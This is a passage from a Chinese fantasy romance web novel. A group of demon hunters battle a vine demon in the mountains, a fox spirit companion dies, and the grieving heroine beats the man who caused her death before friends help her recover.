苏锦锦时常坐在桌案前,几缕古韵墨香,在空气中弥漫。
她抬笔,总想写些心里话,诉说着自己的情绪寄给苏母,却总是迟迟下不了笔。
因为远在长安的他们,帮不上什么忙,却会因着自己的处境偷偷抹眼泪。
于是,落下的字,便成了一张张送给镇远侯府报平安的信。
苏锦锦每日坐在窗棂边,望着窗外稀稀落落凋零的花瓣,心底涌上一股莫名其妙的惆怅,混杂着积攒的情绪,便像一块沉重的巨石,压在心头,透不过气。
她深深吸一口气,却迟迟没吐出来,脑海中盘算着三月后如何对付那西山千面藤。
“想什么呢?”
时晏清忽然从她身后走过来,珠帘转动,碰撞出声。
她听见着熟悉的声线,未曾回过头,自顾自开口:“没什么?总有些不好的预感。”
她预感一向很准,此刻却是真真实实心底里不踏实。
窗外阴湿一片,院中的桂花,开得开,败得败,双臂靠在床沿,风一吹,微微泛凉,却好似未曾察觉一般。
灵狐从门口跑过来,用柔软的毛发蹭了蹭她的脚踝。她这才回过头,摸了摸它毛茸茸的头顶。
时晏清垂着头,从怀中掏出糯米糕,递到了苏锦锦面前。
看见美食,方才的顾虑一扫而空,她双眸放光,眸中漾开一池春水,欣喜地接过时晏清手中的糯米糕。
糯米糕温乎乎的,暖和了她的手,手心也微微泛红,后知后觉地感受到一丝凉意。
“这不是那天去李婉家路过的那家糯米糕吗?”
时晏清绕过小姑娘,贴心地将窗棂关上,将外界一切破败的景象隔绝开来,淡淡回应着小姑娘的话:“嗯。”
“看你那天想吃,早上便顺便去西街买了,快吃吧,还热着。”
苏锦锦点点头,欣喜地送入口中,一旁的灵狐便安安静静地趴在她脚边,眯着眼享受着这惬意的时刻。
“入秋了,少坐在窗边,太凉了。”
苏锦锦一边吃着,一边含糊不清地答到。
望着小姑娘这幅模样,时晏清唇角勾起一抹弧度,替她用帕子擦拭掉唇边的碎渣。
“若是心底感觉不踏实,那边睡一觉吧,睡醒就好了。”
苏锦锦点头应下,一旁的灵狐识趣地走开,走之前还回头愤愤瞪了一眼时晏清。
午后渐凉,陷入温暖的被窝,总容易犯困。
苏锦锦双手搭在被子边,眨了眨一双滴溜溜地大眼睛,看向坐在一旁的时晏清,小声呢喃着:“你不走吗?”
他摸了摸苏锦锦毛茸茸的发丝,以极轻的语气答到:“我不走,在这陪你。”
听到答案后,苏锦锦昏昏沉沉间,安心地阖上了双眼。
月光从窗棂缝中探了进来,淌在她散开的发梢上,像铺了银霜。
时晏清便一手撑着下巴,目光寸步不离地看了她三个时辰。
她睫毛垂下来,在白皙的肌肤上,打下了一小片扇形阴影。
房门被轻轻叩响,林怀烟推门而入。
“锦锦,时公子,今夜便出发去西山了。”
林怀烟神色依旧温柔,气氛中却总隐隐透露出一丝若有若无的紧张。
她已经好久没好好歇过了,毕竟此次千面藤妖不好对付,而她做事,却要做到最好。
视线扫到床榻上侧躺着的女孩,脸颊陷入软枕里,呼吸轻的好似羽毛,踮着脚,小心翼翼地退了出去,又关上了门。
苏锦锦被这声响吵醒,揉了揉惺忪地睡眼,望着这一幕,意识渐渐回笼。
眼前之人一手撑着下巴,坐在木凳上,未曾动过半分位置。
月色打在他的脸上,遮下一小片阴影,身姿清瘦而修长,宛如最坚固的堡垒。
“你怎么没睡?”
时晏清站起身,蹲下身帮小姑娘穿上鞋。
“不想睡。”
“刚才林小姐进来了,她叫我们收拾一下便出发了。”
时晏清正垂着头,摇曳的烛火打在他的发丝间。
“走吧。”
想到时晏清已在自己塌前候了一下午,苏锦锦心底便涌上一丝甜丝丝的暖意。
几人收拾好后,便准备轻装上阵,靠一双腿,徒步向几里外的西山。
只是他们怕乘马车而去,惊扰了千面藤,故而打乱他们的计划。
几人正站在院中,正准备抬脚往外走,远远的,便见李婉提着裙摆急急忙忙追过来,一边喊着。
“林姐姐,锦锦——”
这三月她便同主角团住在这儿,吃的也更加圆润,早已没了当初初见时的瘦削,性子也不再沉闷胆怯,开朗了不少。
“我也要去。”
李婉停在几人身前,大口的喘着气,怕方才没听清,又重复了一遍:“我也要去,我也要帮你们捉妖。”
林怀烟脚步停驻,听闻她的话,眉心微微动了动,干脆果断地打断了她。
“不行。”
这次捉妖,前路艰难险阻,先不说地势险峻的西山路况,光是千面藤的迷惑,便不敢保证李婉的安危。
李婉睫毛垂了下来,遮盖住眼底的失落与落败,弱弱地开口。
“可我想帮你们。”
她眼波流动,眸子中满是错愕与坚定,泛着水盈盈的光。
苏锦锦上前打圆场:“小婉儿,这次捉妖困难很多,你要是想帮我们呢,就好好在宅院中待着,等着我们回来的好消息就好啦。”
经过了苏锦锦一番苦口婆心的劝告,李婉这才打消了同几人前往西山捉妖的想法,讪讪回了屋。
*
暮色漫进西山,山脚下朦胧起一层薄纱似的雾。
几人站在山脚下,仰望着高耸的山峰,而西山方仿佛巨人般蔑视着脚下的一切。
方府他们都是蝼蚁,任由被踩在脚下。
苏沐风神色凝重,回眸望着时晏清:“阿清,我和烟儿在前面探路,你照顾好锦锦。”
几人连同着灵狐丝毫不敢懈怠,没了昔日路途上的喧闹,他们都无比确认着这次捉妖路途的危险。
雾气如化不开的牛乳,漫过山林的每一寸肌理。
参天古木的枝干隐在白茫茫里,只露出半
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截黛色的轮廓,像是被天地随手晕染的水墨画。
湿漉漉的藤蔓缠着老树皲裂的皮,苔藓厚厚地铺在青石上,踩上去软得像踩在云端,还带着沁骨的凉。
时晏清紧紧地牵住少女的手,她的手心因着紧张出了一层薄汗,却好似得到了少年的力量,变得更为坚定。
苏沐风正抱着灵狐,同林怀烟在前头探路。
氤氲的雾气模糊了两人的背影,苏锦锦一边注意着脚下的路况,又一边时不时抬头望向前方两人的身影,生怕跟丢了。
时晏清察觉到了苏锦锦异样的情绪,安慰的捏了捏她的手心。
“注意看路,前面我替你看。”
她低低地应了一声。
雾霭里飘来野兰与腐叶混合的清冽气息,偶尔有山雀的啁啾穿透薄纱似的雾,声音落下来时,竟像是被雾揉碎了,轻飘飘的没个落点。
涧水在山林中潺潺流淌,水声被雾气裹着,传不出多远,只在耳边低低地响。
偶有几片早落的枯叶,打着旋儿从雾里飘下来,落在水面上,漾开一圈极淡的涟漪,转眼便被雾色吞没,连一丝痕迹都没留下。
这诡谲的气氛,不由得让几人联想到三月前那场西山的大火,彻底激怒了千面藤。
而这场薄纱似的雾,或许就是千面藤给几人献上的“见面礼”。
【系统提醒:千面藤树高危副本已开始,请宿主做好准备】
【愿宿主再接再厉】
苏锦锦深深吸了一口气,在心底里替自己加油打气。
时晏清从怀中掏出一沓厚厚的橙黄色符纸,一股脑递到了苏锦锦的袖子里。
“就像上次那般,如果再被千面藤迷惑了,便用这个。”
苏锦锦点了点头,接下了符纸,又笑眼盈盈地从那沓厚厚的符纸中抽出一半,塞进了他的怀中。
“你也要留一些呀,防身。”
说罢,苏锦锦还拍了拍时晏清的胸口。
林深处的雾更浓,浓得能攥出水来,仿佛只要再往前一步,就要被这无边无际的白,彻底融进去。
水润的地面被苔藓浸得发滑,沾着露水的叶片滚下来,这地段,时时刻刻都有危险。
苏锦锦一手提着裙摆,有些吃力地向上跟。
害怕速度太慢几人在浓雾中走散,又害怕速度太快脚底打滑,得不偿失。
时晏清似是感受到了她的顾虑,一手牵着她,一个顺势便公主抱到了怀中。
苏锦锦双手勾住他的脖子,任由被他抱着她走。
裙摆扫过地面,苏锦锦又向上拽了拽。
心底那股道不清的预感愈发浓厚,心突突地跳。
“时晏清,我们不会有事吧。”
苏锦锦勾住了他的脖颈,仰着脸,望向时晏清的神色。
他的脸被浓厚的雾气浸润,一双黑眸也染上了一层雾气,显得更为柔和。
他自顾自向前走,脚底踩过西山的枯枝败叶,发出粉身碎骨的响声,半晌才悠悠开口。
“不会。”
“我不会让你有事的。”
他的话宛如末日般绚烂的烟火,让苏锦锦的心也平静下来,又甜腻的笑了一下。
33. 阴谋
夜色如潺潺溪流,悄然漫过古朴屋舍的檐角,星星嵌在墨蓝色的天幕之中。
晚风卷着草木淡香掠过西街最后一户人家,檐角风铃轻晃。
西街点亮几盏稀稀疏疏的灯笼,徽州大降温,远远望去,西街上已没了多少人烟,只有零星几位路人匆匆忙忙。
李既背着青灰色的包袱,包袱上还打着补丁,佝偻着清瘦黝黑的背,踉踉跄跄地朝着夜幕走去。
他身子摇摇晃晃,周遭散发着浓烈的酒味。
他机械而麻木地朝着西山的方向走,口中呢喃不清着一个名字。
“苏……苏锦锦,行……我记住你了,”他顿了一下,劣质的酒精充斥着他的胃,停下来一阵干呕,“镇远侯府二小姐,你跟我嚣张个什么劲。”
“你等着,老子把你……拐过来,我不信镇远侯府能不给我乖乖地送银子。”
“又有酒吃,又有酒喝……”他嘴里哼唱着不知名小调,摇头晃脑。
李既停下了脚步,蹲在街边吐了个痛快,便隐没在黑夜之中。
*
溪水叮咚缠绵,绵延到了雾气之中。
溪水潺潺,清澈见底,仿佛洗涤了人的心灵,变得更为澄澈。
淌过了这条小溪,便可见到来时路,另一侧溪畔便可得见千面藤的踪迹。
苏沐风回眸,点点头,示意着几人按兵不动,在原地等待,他先上前探路,打探千面藤的情况。
几人现处于的境地,参天古树,高耸入云。
粗壮的枝干与如牛乳般的迷雾恰恰可以藏匿几人的身影,是个极佳的风水宝地。
待他毅然决然地踏出步子,他的手腕却陡然被林怀烟拽住了。
“要走,那便一同走。”
她眸光坚定且温暖,宛如春日暖阳,融化了寒冬中的冰霜。
他心底深知林怀烟的性子,也知道她林怀烟决定了的事情,自己也拗不过她,于是苦笑,点头应允。
苏锦锦脱下鞋,踮起脚尖,如一只猫儿般,小心翼翼地向前走,将自己的存在感尽可能放到极低。
滑腻的苔藓触碰到脚心,这种触感令她不适,却只是微微蹙了蹙眉,每一步走的都极小心。
几人淌过了小溪,溪水随着几人的动作,被缓缓搅动。
苏锦锦甚至能感受到脚踝旁有鱼儿擦过,滑溜溜的触感令她心头一颤。
待几人接二连三地踏上另一侧的溪畔,迷雾散尽,千百张面具齐刷刷地睁开眼。
三月前匆匆一瞥,如今苏锦锦倒是看清了这千面藤真正的模样。
藤身不是寻常的褐绿,而是泛着暗紫色的光。
节处鼓着青黑色的瘤,像无数双半睁的眼。
藤蔓垂下来,如无数条缠人的绸带,无风时显得格外诡谲,叶面上凝着的露,坠下来时便在石上洇开淡紫色的痕。
千百张面具——有哭有笑,有悲有怒,各型各色,都是葬身于徽州,死不瞑目的千百条生灵。
最中央的那张面具,缓缓睁开了眼,嘴角咧着瘆人的笑,一双混浊的眼珠子滴溜溜的转,仿佛在审视这一切。
“你们又来了……”千面藤沙哑的声线响起,伴随着藤蔓轻轻抖动。
千面藤抖了抖垂落的藤蔓。
一侧的枝叶已在三月前的大火中烧的面目全非,连同着那一侧的面具,整个都黑漆漆一片,惨不忍睹。
偶有顽强的小芽从枝桠间探出一抹新绿。
然而,在这满目疮痍的衬托之下,那抹新绿也被显得如此微不足道。
它嗅到了苏锦锦身上的气息。
那股……让它变得如此面目全非,满目疮痍的气息。
千面藤收了收藤蔓,卷起的阵阵强风,抖落林间的叶片,打着卷,落在苏锦锦的脚边,像是一种示威的警告。
苏锦锦向后退了一步,紧紧攥住了怀中的符箓,以便随时防守。
一开始,林怀烟脑海中回荡着在空灵寺时无相大师的一番嘱托。
“这执念,堆积而成便如一个疙瘩放在心里,拿也拿不掉。”
“解铃还须系铃人。”
“待三月后,你们再次前往西山,解开千面藤的心结,一切难题便可迎刃而解……”
林怀烟镇静下来,抬眸仰视着千面藤。
她眸子坚定,却又不畏惧强大,一板一眼讲起来:“枉死之人无从诉说,我们理解你们,徽州百姓也感激你们能在患难之时伸出援手,救了整座城。”
“不过,”她顿了一下,声音铿锵有力,“你们的怨恨与执念多出自于贪污腐败的朝臣,与当地的少女没有任何瓜葛。”
“收手吧,也当作让那些小姑娘安息了。”
林间的风止住了,枝桠不再晃动,连小溪的泉水也变得轻柔,源源不断地向下流淌,将所有的执念与怨恨冲刷得干干净净。
千面藤停下了动作,藤蔓也缓缓垂落下来,迟迟未曾开口。
就在所有人松了一口气,以为千面藤被林怀烟的一番话有所动摇时,只见它动了动垂下的藤蔓,猛地向苏锦锦身后的方向抽去,打了她一个措手不及。
身旁之人猛地推了她一把,那藤蔓便擦过她的鬓边,撩起耳畔的碎发。
她感到一阵眩晕,跌跌撞撞地起身,对身旁的一切景象都感到不真实。
千面藤被时晏清的动作彻底激怒,向后收缩了一下,便以极快的速度猛地向时晏清打来。
他指尖刚触碰到千面藤的叶片,便觉得一阵刺骨的凉,紧接着是火烧的痛。
那叶片竟瞬间变了形,从柳叶状缩成了小小的掌印,掌纹渗出极细的紫丝,顺着指尖往皮肉里钻。
这一幕,看得苏锦锦心脏被揪起来的疼,喉咙好似被人掐住,呼吸紊乱。
她大脑轰鸣一片,望着千面藤大喊:“谁惹得你就去找谁?跟这些无辜的人有什么关系!”
千面藤将时晏清捆绑得更紧了一些,苏锦锦下意识跨出步子,想要冲上前去,掏出怀中的符箓不顾一切地砸在千面藤的身上。
可惜,这符纸不知为何,没了往昔的威力,此时对千面藤却毫无效果。<
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p>刚触碰到千面藤,厚厚一沓符纸便一股脑哗啦啦地撒在了地上,最终静静躺在树根上,望着苏锦锦的方向,好似无声的耻辱与嘲弄。
苏锦锦头脑发胀,眼前的一切景象开始扭曲而模糊起来,不知是否出了幻觉,眼前一张张符纸变成了小妖,成了攻击自己的利刃。
他们站起身,摇摇晃晃,仿佛在嘲弄苏锦锦:“看吧,你那破符纸有什么用,只能眼睁睁看着自己的挚爱去死。”
千面藤望着苏锦锦这副茫然无措地模样,心底里终于升腾起一股快意,咯咯地笑了起来。
“你那破符纸对我没有任何用处。”
“不自量力,还妄图再伤害我?”
时晏清面色发白,口中一遍又一遍重复着苏锦锦的名字,肯求她救救自己。
“锦锦……”
她很快就镇静下来,停下迈出的步子,总觉得这周围有丝丝缕缕的不对劲。
她敏锐地回眸,望见苏沐风与林怀烟眼神空洞而无神,宛如一汪死水,一眨不眨地望着时晏清的方向,嘴角隐隐透露出一丝笑意。
他们伫立在原地,一动不动,仿佛呼吸都静止了一般。
而他们脚下的灵狐,此刻也没有化身前来帮忙,安安静静地趴在两人脚下,阖上眼眸,对周遭的一切漠不关心。
以往来说,时晏清的性子,骨子里透露出一副不服输的傲气,无论自己处于何种境地,也不会像如今这般如此卑三下四的求人。
何况,以他的实力,不可能对千面藤暴风雨般的攻击手无缚鸡之力。
而身后的林怀烟与苏沐风,还有灵狐,也不会丢弃时晏清,对他漠不关心。
她大脑轰鸣一片,耳畔不断回荡着自己的名字,一声又一声,连绵不断,此起彼伏。
“锦锦!醒醒!”
“那不是我!”
苏锦锦意识骤然被抽离,整个人回过神来,望着自己与千面藤近在咫尺的距离,才如梦初醒般反应过来自己被千面藤蛊惑了。
被千面藤蛊惑的人,不会感知到身侧任何的事物,眼前的一切,都换了模样,仿佛穿越到了另一个维度。
而千面藤,则会利用身旁的挚爱或挚友,以此威胁,善于利用人心,触碰人心底那块最柔软的地带。
它引诱着人们,心甘情愿地一步步向前,直至被他彻底吞噬,万劫不复。
阴险狡诈,苏锦锦在心中暗自腹诽。
只差一点。
仅仅只差一点,便触碰到了千面藤身上的粘液。
那源源不断的紫色粘液,顺着那一张张可喜可悲,可嗔可怒的面具流淌下来,宛如一串串晶莹淡淡泪珠,一滴滴落入地面,险些擦过苏锦锦的鼻尖。
人的皮肤只要触碰上了那紫色粘稠的液体,便会立即腐蚀,最终变成一具阴森森的白骨。
苏锦锦感到一阵后怕,冷汗浸透了后背,于是仿佛离弦之箭般,飞奔回几人身侧。
她蹲下身喘息,后颈感到一阵发凉,额前也染上了一层薄汗,碎发被汗水浸湿,随即胡乱抬手一擦。
34. 朋友
灵狐化为人形少女,与林怀烟并肩作战,衣袂在劲风里猎猎翻卷。
她眉心紧蹙,身姿清瘦而坚定,不肯退缩一步。
时晏清垂眸凝气,唇间低诵的咒文沉密如鼓,腰间的深褐色葫芦剧烈震动,迸发出耀眼的金光。
灼热的灵力直钻千面藤五脏六腑,藤身之上万千面具齐齐扭曲,喉间翻涌着嘶哑的戾声,狰狞得令人心悸。
紫黑粘稠的汁液顺着藤纹簌簌狂滴,落地便蚀出一道道浅坑,织成一片密不透风的雨帘。
千面藤彻底被惹得狂性大发,数条藤蔓骤然破空甩动,尖梢带着寒芒,直扑灵狐身后的空处。
那速度快得猝不及防,风啸声乍起时,在场诸人甚至来不及抬臂相护,唯有眸光骤缩的惊惶。
灵狐背后猛地受了一股推力,手心处的火焰因着心神不宁渐渐熄灭。
身形踉跄间根本无从借力,竟直直撞入横生的藤蔓中。
而那藤蔓方才要击打的方向——正是李既所处之地。
藤蔓尖梢已擦着灵狐的衣摆卷来,腥风扑面,避无可避。
藤蔓一个借力,将灵狐悬在空中,粘稠的液体划过她的肌肤,灼烧感从指尖蔓延到脊髓,泪意先漫上眼底,蒙了眸光。
苏锦锦回眸,目光剜在李既那副小人得志的模样上。
素来柔和的脸罕见沉凝,眸光冷得似淬了冰刃,刮过他的脸,却已无半分心思与他计较。
千面藤摆明了要拉着灵狐同归于尽,对它的攻势如暴风骤雨,半分未有停歇。
灵狐被粗藤一圈圈紧缚,脖颈似被铁钳扼住,连喘息都变得极为困难。
纤细的身形在藤间挣动,却只挣得藤蔓收得更紧,喉间溢出细碎的呜咽。
林怀烟心急如焚,抬脚便要上前施法,苏沐风却眼疾手快扣住她的肩,死死按住:
“烟儿,冷静!此刻你上前,对千面藤的伤害愈甚,它缠缚灵狐便愈紧,到头来不过是徒劳无功!”
他声线发颤,掌心沁出的冷汗濡湿了林怀烟的衣料,二人的对话一字不落地撞进苏锦锦耳中。
“徒劳无功?”她猛地回头,声音里翻涌着压抑的歇斯底里,“那我们就眼睁睁看着她去死吗?”
“灵狐陪了你这么久,到头来她有危难时你就是看她去死吗?”
苏沐风僵在原地,从未见过昔日温软甜糯的妹妹,竟会用这般带着戾气的语气对自己嘶吼。
时晏清悄然握紧苏锦锦冰凉的手心,她却再也撑不住,滚烫的热泪从眼眶里涌出来,砸在二人交握的手背上,烫得人心尖发颤。
而时晏清腰间的收妖葫还在剧烈震颤,嗡鸣不止,似要挣开束缚。
苏锦锦慌得失声大喊:“时晏清,让收妖葫停下!快停下啊!”
时晏清眉峰紧蹙,声音也染着难掩的颤抖:“这收妖葫,咒文起时便要收尽妖力,一旦启动,便再无回头之路。”
他语气已然委婉,苏锦锦却瞬间听懂了,浑身的力气似被抽干,呆立在原地,连落泪都忘了动作。
她在心底疯狂呼喊:“系统?系统!”
“你有没有办法?快想想办法啊!“
她心乱如麻,像扯散了一团缠密的线,越理越乱。
【抱歉宿主,暂无……】机械的电子音冷泠响起,绝望将她跌入了谷底,粉身碎骨。
滚烫的泪珠顺着脸颊滚落,砸在地上,晕开一小片湿痕——这是她穿越来此,第一次感到这般的无力。
就在她失神之际,一股浓烈的酒气骤然弥漫开来,一双粗糙的大手悄摸摸探来,欲搭上她的肩膀。
时晏清反应极快,反手一甩,只听闷响一声,来人便被狠狠掼在地上。
李既捂着脱臼般剧痛的半只胳膊,瘫在泥地里打滚,嘶哑哀嚎,狼狈不堪,眼底却还藏着几分幸灾乐祸。
而前方的巨响陡然炸开,千面藤发出一声凄厉的嘶鸣,竟被拦腰截断,重重砸在地上,藤蔓瞬间失去力气,软塌下来。
灵狐的身形从藤间坠下,化作巴掌大的小小一团,轻若鸿毛般落向地面,双眼紧闭,再也没了半分生气。
时晏清腰间的收妖葫断开来,直挺挺落入地面,咕噜咕噜打了几个滚最终停下。
收妖葫此刻已黯淡无光,只是一个简单的葫芦。
苏沐风脑海中碎片交织,忽的忆起了天宗先生的嘱托:“这收妖葫与灵狐,同根生,同根死。”
灵狐那小小的身子瘫在枯枝败叶间,殷红的血迹渐渐渗开,染透了身下的落叶,也染红了苏锦锦的眼。
苏锦锦如疯了般扑过去,膝头磕在碎石上也浑然不觉,将灵狐小心翼翼抱进怀里。
温热的血蹭脏了她素净的衣摆,可那只总爱亲昵蹭她脚踝、绕着她打转、叼着点心往她手里塞的小狐狸,再也不会动了。
不会再抢她的桂花糕,不会再跟她嬉闹打滚,不会再用软软的身子蹭着她的掌心求抚摸,不会在她写信时窝在她的怀中,呼噜声轻的像小猫……
怀中小小的身躯渐渐冷下去,轻得像一捧散沙,仿佛下一秒便会随风消散,苏锦锦抱着她的手,抖得不成样子。
与此同时,李既却拍了拍身上的尘土,灰头土脸地摇摇晃晃站起身,嘴里还碎碎念着,语气轻佻又不屑:
“不就是只畜牲吗?我说你们这些京城小姐,也太娇贵了……竟把一只畜牲宝贝成这样,至于吗?”
这一切的祸端,皆因李既的懦弱无能。
是他贪生怕死,推了灵狐那致命的一把,是他恃强欺弱,躲在旁人身后苟活,才让灵狐落得这般下场。
苏锦锦轻轻放下怀中的灵狐,指尖最后拂过它冰凉的小脑袋,而后从脚边捡起一块棱角尖利的石头,指节因用力而泛白,将石头攥得死紧。
她一步一步,缓缓站起身,脸上泪痕交错,混着尘土糊了满脸,眼中却再无半分泪意,只剩翻涌的猩红与彻骨的寒意,脚步踉跄,却每一步都无比坚定地朝着李既走去
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。
“畜牲?”她声音沙哑得像是被砂纸磨过,一字一顿,咬着牙吐出这两个字,“在你嘴里,她就只是畜牲吗?”
李既起初还嗤笑,见她这副失了神智的模样,眼中的不屑渐渐被惊恐取代,后背瞬间爬满寒意,被她逼得连连后退。
脊背狠狠撞在枯树上,退无可退,声音都抖了:“你……你想干什么?苏锦锦,你敢动我?”
苏锦锦没有答话,只是红着眼,扬手便将石头狠狠砸了下去。
石头擦着李既的耳际砸在树干上,震落一片枯枝。
下一秒,便精准砸在他的脸上,发出沉闷的声响,殷红的血瞬间从他额头淌下,糊住了他的眼。
“啊——”林间响起李既响彻天霄的喊叫。
“疼……苏锦锦,你疯了?”李既的痛苦哀嚎与求饶声此起彼伏,在林间炸开。
苏锦锦却恍若未闻,红着眼,一下又一下地砸下去,石头落在他的脸、他的肩、他的胳膊,每一下都用尽了全身力气,将所有的悲愤、怒火、绝望与悔恨,尽数发泄在这石头之上。
她的发丝凌乱地贴在脸上,神情狰狞,像一头被逼入绝境的兽,再也没了往日半分温软模样。
李既双腿软得像烂泥,连站都站不稳,只能手脚并用地向后爬,在泥地里拖出一道狼狈的血痕。
他嘴里的求饶声越来越弱,只剩痛苦的呜咽:“我错了……我错了苏小姐,我真错了了,求求你饶了我……”
“她不是畜牲!”苏锦锦嘶吼着,声音撕裂般疼,泪水再次汹涌而出,却不是委屈,而是极致的痛苦,“那是我朋友!”
苏锦锦眼眶酸胀的发疼,大颗大颗的泪珠滚落,砸在枯枝败叶上,没半点声响。
仿佛她此刻的绝望,连哭都没了力气,只是任由泪水淌,打湿了下巴,滴进颈窝,凉的刺骨。
一旁的苏沐风看着这一幕,善良的本性让他下意识便要上前阻拦,唇瓣动了动。
可他脚步刚抬,林怀烟便一把拽住他的手腕,朝着他的方向摇了摇头。
苏沐风悻悻地收回了脚,眨了眨干涩的眼眶,下垂的手紧握着,因着用力,指尖微微泛白。
时晏清站在原地,望着苏锦锦的方向,薄唇紧抿,周身气息冷得像冰。
他没有动,只是抬手,默默挡在了灵狐的身前,不让任何人惊扰到她,眼底翻涌着不明的情绪。
直至李既躺在地上气息奄奄,额头、脸上布满血痕,肿得不成样子,口中的求饶声彻底湮没在喉间,只剩微弱的喘息,连动一下手指的力气都没了,苏锦锦才终于停下动作。
她手一松,那染满鲜血的石头滚落在地,发出清脆的声响,而后她浑身脱力,直直瘫坐在泥地里,后背抵着树干,缓缓闭上眼。
脸上的泪痕与泥污、血渍交织在一起,肩头剧烈起伏,却再没发出一丝声音,只剩一片死寂的疲惫与绝望。
仿佛全身的力气,都随那一下下的撞击,彻底耗尽了。
35. 心结
两月后。
其实苏锦锦昏迷的第五天便醒了,只是这五日高烧不退。
许是先前奔波的劳累积了底,又受了那一场惊吓,她醒后也只待在屋子内,唇色淡得近乎透明,半点气力也无。
苏沐风端着换好的温水,指尖轻叩木门。
“吱呀”一声,褪漆的木门被拉开一道细缝,深秋的阳光密密地撒了进去,恰好铺在榻前的时晏清身上。
他单手支着下巴,眉眼垂着,目光凝在锦锦苍白的睡颜上,目光一眨不眨,神色柔和。
苏沐风压着声线,字句轻缓:“阿清,换我来守吧,你去歇会儿。”
他与灵狐并肩作战这么多年,本就存着情谊,可性子素来拎得清大局。
此刻望着榻上瘦了一圈的妹妹,心底还是翻涌着一阵涩意,堵得慌。
时晏清没回头,只缓缓摇了摇头,指尖还轻轻拢着锦锦露在衾外的手腕,怕她再着凉。
这五日,他就这般守在榻前,衣不解带,寸步未离。
这场大病过后,苏锦锦是真的变了。
往日里眼尾带笑、蹦跳着喊人的活泼灵动,半点也寻不着了,性子沉得像结了冰的湖,沉默寡言。
她日日倚在窗边,手肘抵着窗沿,下巴轻搁在掌心,望着外头枯槁的枝桠、落尽了叶的院角。
一派衰败的秋景,就这般静坐着,一坐便是整日,连眼神都是空的。
风卷着寒意从窗缝钻进来,时晏清便走过去,替她轻轻拢上窗棂。
指腹擦过微凉的窗沿,温声劝着,语气里裹着化不开的耐心:
“天太冷,别总坐在窗边,仔细伤了身子。”
见苏锦锦依旧怔怔地依着窗,没有半分回神的模样,时晏清也不催,只静静地陪在她身旁。
指尖轻叩微凉的床沿,轻轻打破一室的沉寂。
“锦锦,你可曾记得之前同我说过的一段话?”
苏锦锦将半张脸深深埋在臂弯之中,发梢蹭着袖口,声轻的像缕飘着的烟:“什么?”
“你说,如果有爱在的话,无论是亲情,友情,爱情,即便是露水情缘,也经久难消。”
“在多年后,一抹淡淡的微笑,一道熟悉的背影,一个如梦似幻的梦,那种情感悄然生长,亘古不变。”
昔日随口说的话,此刻竟成了熨帖心底褶皱的良药。
苏锦锦猛地怔住,指尖下意识攥紧了衣角,一滴清泪猝不及防从眼角滑落,砸在腕间。
说不清是难舍、委屈,还是终于松了口气的释然。
她就这般怔怔望着窗缝外的枯桠,眼底那片沉寂多日的雾霭,竟慢慢散了,漾出几分久违的灵气。
时晏清瞧着她眼底的松动,便放轻脚步悄悄退了出去。
指尖勾着门环,轻轻带上门,将一室的安静留给她,让她独自消化心底翻涌的情绪。
窗沿上落着一缕灵狐的毛,苏锦锦一时间有些怔愣,小心地捧在手心里便放在了锦盒中。
*
檐角挑着一盏红灯笼,昏黄的光晕柔柔笼住时晏清与林怀烟,晚风卷着微凉,吹得灯影在地上轻轻晃。
时晏清垂着头,长睫在眼下投出一小片浓重的阴影,指节无意识攥着,嗓音里带着难掩的疲惫与恳切:
“林小姐,你与锦锦是闺中密友,能不能再劝劝她?”
他眼眶泛红,眼下覆着淡淡的青黑,身子依旧挺拔而清瘦。
林怀烟从未见过他这般,一时竟有些不知所措:“可以可以,你放心,我会好好说的。”
待时晏清的身影消失在院内,林怀烟轻轻叹了口气,望着紧闭的房门轻声自语:
“锦锦年纪小,心思又细,更看着情谊,灵狐在自己眼前离开,怎能不感伤?”
“旁人再急也没用,不能给她添压,只能慢慢开解了。”
她忽的忆起了自己十三岁时的那场大火,记得失去双亲的痛楚,更想替这个小姑娘打开心结。
她端着一盘剥好的蜜橘推门进去,瓷盘搁在掌心温温的。
见苏锦锦正蜷在被窝里,只露着半截小脸,唇色依旧浅淡,便放柔了眉眼,温声笑问:
“锦锦,要不要吃些蜜橘?剥好的,甜丝丝的,解解闷。”
苏锦锦小幅度点了点头,喉间滚了滚,声线沙哑,还带着大病未愈的虚软:
“林姐姐,放桌上就好,我一会儿吃。”
林怀烟走进屋内,将蜜橘放在床头矮几上,径直坐在榻边,伸手替她掖了掖滑到肩头的被角,半点没有要走的意思。
苏锦锦耷拉着眉眼,眼睫垂着,像振翅的蝶翼,声音恹恹的:
“林姐姐,你还有别的事吗?”
“锦锦,你还在为灵狐的事难过,对不对?”
这话正中心底最软的地方,苏锦锦鼻尖一酸,猛地往被窝里缩了缩,将半个脑袋埋了进去,只留着几缕墨发露在外头。
像只想要躲避风雨的小兽,仿佛这样,就能躲开所有的难过与不舍。
“锦锦。”林怀烟的声音轻而柔,像一只温软的手,轻轻拂过她紧绷的神经。
指尖轻轻碰了碰她露在外的发顶,唤回她的理智。
苏锦锦身子微颤,终是半挣扎着从被窝里坐起身,后背抵着床头,眼眶和鼻尖都是通红一片。
林怀烟抬手,轻轻替她理了理额前汗湿的碎发,指腹擦过她微凉的脸颊,温声慢语,字字揉进她心底:
“这世间本就有生离死别,聚少离多,谁都躲不开的。”
“有的人走了,可那些一起笑、一起闹的日子,那些藏在心底的暖,那些刻在骨里的回忆,永远都不会离开。”
“日子总要往前过的,明天太阳还会升起来,风还会吹,花也还会开,我们总要学着看开,对不对?”
话音落时,苏锦锦再也忍不住,鼻尖一抽,猛地扑进林怀烟怀里。
胳膊紧紧环着她的腰,将脸埋在她温软的衣襟里。
肩头轻轻耸动,压抑了许久的哭声终于溢出,细碎又委屈。
林怀烟感受着背上渐渐漫开的湿热,只轻轻拍着她的背,掌心一下下抚过她的脊背。
林怀烟一言不发,任她将心底
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的委屈、难舍与难过,尽数宣泄在这温暖的怀抱里。
哭了许久,苏锦锦的哭声才渐渐低了下去。
只剩肩头还微微颤着,鼻尖蹭在林怀烟的衣襟上,沾了些湿软的暖意。
林怀烟依旧轻拍着她的背,掌心的温度透过薄衣传过去,像春日里的暖阳,烘着她凉了许久的心。
“哭出来就好了。”林怀烟轻声道,指尖替她擦去颊边未干的泪,又捏了一瓣剥好的蜜橘,递到她唇边,“尝尝,甜的。”
苏锦锦微怔,张了张嘴含下,清甜的橘汁在舌尖化开,冲淡了嘴里的涩意,也让紧绷的神经松了些。
她靠在林怀烟怀里,声音还有些哽咽,闷闷的:“林姐姐,灵狐是否会恨我们没护住它?”
那晚的一幕,总在她梦里反复,她恨自己的无力,恨那猝不及防的离别。
林怀烟轻轻叹了口气,将她揽得更紧些:
